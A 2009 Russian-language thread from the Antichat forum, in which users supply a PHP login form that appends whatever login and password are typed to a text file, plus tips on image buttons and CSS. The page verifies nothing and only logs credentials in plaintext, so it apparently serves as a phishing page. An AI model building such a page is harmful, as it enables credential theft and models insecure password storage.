Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Нужна помощь со скриптом на PHP (https://forum.antichat.xyz/showthread.php?t=100340)

Kurt 09.01.2009 15:10

Нужна помощь со скриптом на PHP
 
Добрый день!
Нужен простой скрипт на PHP
Файл index.php
Форма:
Login
Password
Войти (Чтобы войти это была картинка)


Файл Data.dat или Data.txt
Всем нужно чтобы сохранялось то что пользователь напишет в строке Login и Password

если он ввел Login qwerty и Password 12345 то чтобы он в Файл Data.dat или Data.txt так и записался
qwerty|12345
dister|1234321

ну и т.д.

Знаю что скрипт очень простой но в PHP я не разбираюсь
Прошу помочь

MuXaJIbI4 09.01.2009 15:19

<?php
if (isset($_POST['ok']))
{
$fd = fopen('Data.txt', "a+");
fwrite($fd, $_POST['login'].'|'.$_POST['pass']."\r\n");
fclose($fd);
}
?>
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
</HEAD>
<BODY>
<FORM METHOD=POST>
Логин: <INPUT TYPE="text" NAME="login"><BR>
Пароль: <INPUT TYPE="password" NAME="pass"><BR>
<INPUT TYPE="submit" name="ok">
</FORM>
</BODY>
</HTML>

Kurt 09.01.2009 16:06

Работает спасибо большое!!!!

Kurt 09.01.2009 16:07

+10 Балов ))))

Kurt 09.01.2009 17:02

такой вопрос а почему не работает если я пишу
вместо
<INPUT TYPE="submit" name="ok">
Это
<input type="image" src="submit_on.gif" name="ok" value="Submit" alt="Submit">

напишите как нужно если я Хочу чтобы кнопка Submit Была рисунком submit_on.gif

Joker-jar 09.01.2009 17:06

джаваскриптом делай сабмит в случае с картинкой

Kurt 09.01.2009 17:13

так что выходит чтобы вместо
TYPE="submit"
Было
TYPE="image"
нужен целый JavaScript ???
А без него никак??

optimazer 09.01.2009 17:14

Цитата:

<form id="B1" method="post" action="bla">
<img src="картинка" onclick="func">
</form>
javascript
Цитата:

function func ()
{
getElementById("B1").submit()
}

SMiX 09.01.2009 17:19

Если <input name=ok type=submit /> заменить на type=image, то в $_POST вместо элемента "ok" будет два элемента "ok_x" и "ok_y", которые несут в себе координаты точки на картинке, по которой был произведён щелчок.
И вообще, советую делать проверку не так:
PHP код:

if (isset($_POST['ok'])) 

а
PHP код:

if (isset($_POST['login'], $_POST['pass'])) 


Kurt 09.01.2009 17:26

и как полностью будет это смотреться??
<?php
if (isset($_POST['ok']))
{
$fd = fopen('Data.txt', "a+");
fwrite($fd, $_POST['login'].'|'.$_POST['pass']."\r\n");
fclose($fd);
}
?>

optimazer 09.01.2009 17:29

2SMiX
проверку на имя формы нужно делать с той целью чтобы в твой скрипт обработки пост-данных не накидали левый инфы из левых форм!
__________

Цитата:

<input type="image" />
такими вещами пользоваться не привык
а хорошая вещь оказывается

SMiX 09.01.2009 17:30

PHP код:

<?php

if (isset($_POST['login'], $_POST['pass']))
{
$fd fopen('Data.txt'"a+");
fwrite($fd$_POST['login'].'|'.$_POST['pass']."\r\n");
fclose($fd);
}
?>
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
</HEAD>
<BODY>
<FORM METHOD=POST>
Логин: <INPUT TYPE="text" NAME="login" /><BR />
Пароль: <INPUT TYPE="password" NAME="pass" /><BR />
<INPUT TYPE="image"  src="http://www.w3.org/Icons/w3c_main" name="ok">
</FORM>
</BODY>
</HTML>

Автор, если бы ты сделал var_dump($_POST), вопрос "почему не работает" отпал бы сам собой.

Kurt 09.01.2009 17:35

Всё получилось спасибо SMiX и MuXaJIbI4

Kurt 09.01.2009 17:38

я сделал так
<input type="image" src="submit_on.gif" value="Submit" alt="Submit" />
ничё что нету name="ok" ???? я так понимаю если мы убрали
if (isset($_POST['ok']))
то он нам уже не нужен??

ЭХХХ надо учить PHP но он же так тяжко дается(((
Может ктото подскажет действительно достойное чтиво по PHP, а то что не качал читал и бред полный(((

Kurt 09.01.2009 17:46

Подскажите ещё у меня файлик style содержит такой код как мне растянуть рисунок на весь экран ???
PHP код:

BODY {
    
PADDING-RIGHT5pxPADDING-LEFT5pxFONT-SIZE8ptBACKGROUNDurl(bg.jpg); PADDING-BOTTOM5pxCOLOR#ffffff; PADDING-TOP: 5px; FONT-FAMILY: Tahoma
}
.
wrapper {
    
BORDER-RIGHT#878787 1px solid; PADDING-RIGHT: 10px; BORDER-TOP: #878787 1px solid; PADDING-LEFT: 10px; BACKGROUND: url(wrapper.png); PADDING-BOTTOM: 10px; BORDER-LEFT: #878787 1px solid; WIDTH: 85%; PADDING-TOP: 10px; BORDER-BOTTOM: #878787 1px solid
}
.
r-button {
    
BORDER-RIGHT#7f7f7f 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #7f7f7f 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 8pt; BACKGROUND: url(button.gif) #101e32; PADDING-BOTTOM: 4px; MARGIN: 5px; BORDER-LEFT: #7f7f7f 1px solid; COLOR: #ffffff; PADDING-TOP: 4px; BORDER-BOTTOM: #7f7f7f 1px solid
}
.
copyright {
    
BORDER-RIGHT#878787 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #878787 1px solid; PADDING-LEFT: 5px; BACKGROUND: url(wrapper.png); PADDING-BOTTOM: 5px; MARGIN: 10px auto 0px; BORDER-LEFT: #878787 1px solid; WIDTH: 230px; PADDING-TOP: 5px; BORDER-BOTTOM: #878787 1px solid; TEXT-ALIGN: center
}
H1 {
    
FONT-SIZE16pt
}
H2 {
    
FONT-SIZE11ptTEXT-DECORATIONunderline
}
A:link {
    
COLOR#ffffff; TEXT-DECORATION: none
}
A:visited {
    
COLOR#ffffff; TEXT-DECORATION: none
}
A:active {
    
COLOR#ffffff; TEXT-DECORATION: none
}
A:hover {
    
FONT-WEIGHT700



Kurt 09.01.2009 18:10

SMiX где же ты???? это последний вопрос)))

SMiX 09.01.2009 18:24

css:
Код:

.submitbtn {
    width: 100%;
}

Кнопка:
Код:

<input class=submitbtn type=image src="путь" />
Читай мануалы по css и html. Вопросы будут постоянно.

Kurt 09.01.2009 18:27

ты не понял я про фоновой рисунок говорю bg.jpg

SMiX 09.01.2009 18:28

http://www.w3schools.com/css/css_background.asp

Смотри в сторону background-repeat

Kurt 09.01.2009 18:38

окей спасибо большое

MuXaJIbI4 12.01.2009 11:34

Если кнопку делать через type=image, то можно писать так
<?php
if (isset($_POST['ok_x']))
{
$fd = fopen('Data.txt', "a+");
fwrite($fd, $_POST['login'].'|'.$_POST['pass']."\r\n");
fclose($fd);
}
?>
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
</HEAD>
<BODY>
<FORM METHOD=POST>
Логин: <INPUT TYPE="text" NAME="login"><BR>
Пароль: <INPUT TYPE="password" NAME="pass"><BR>
<INPUT TYPE="image" name="ok" value="ok">
</FORM>
</BODY>
</HTML>


Время: 13:59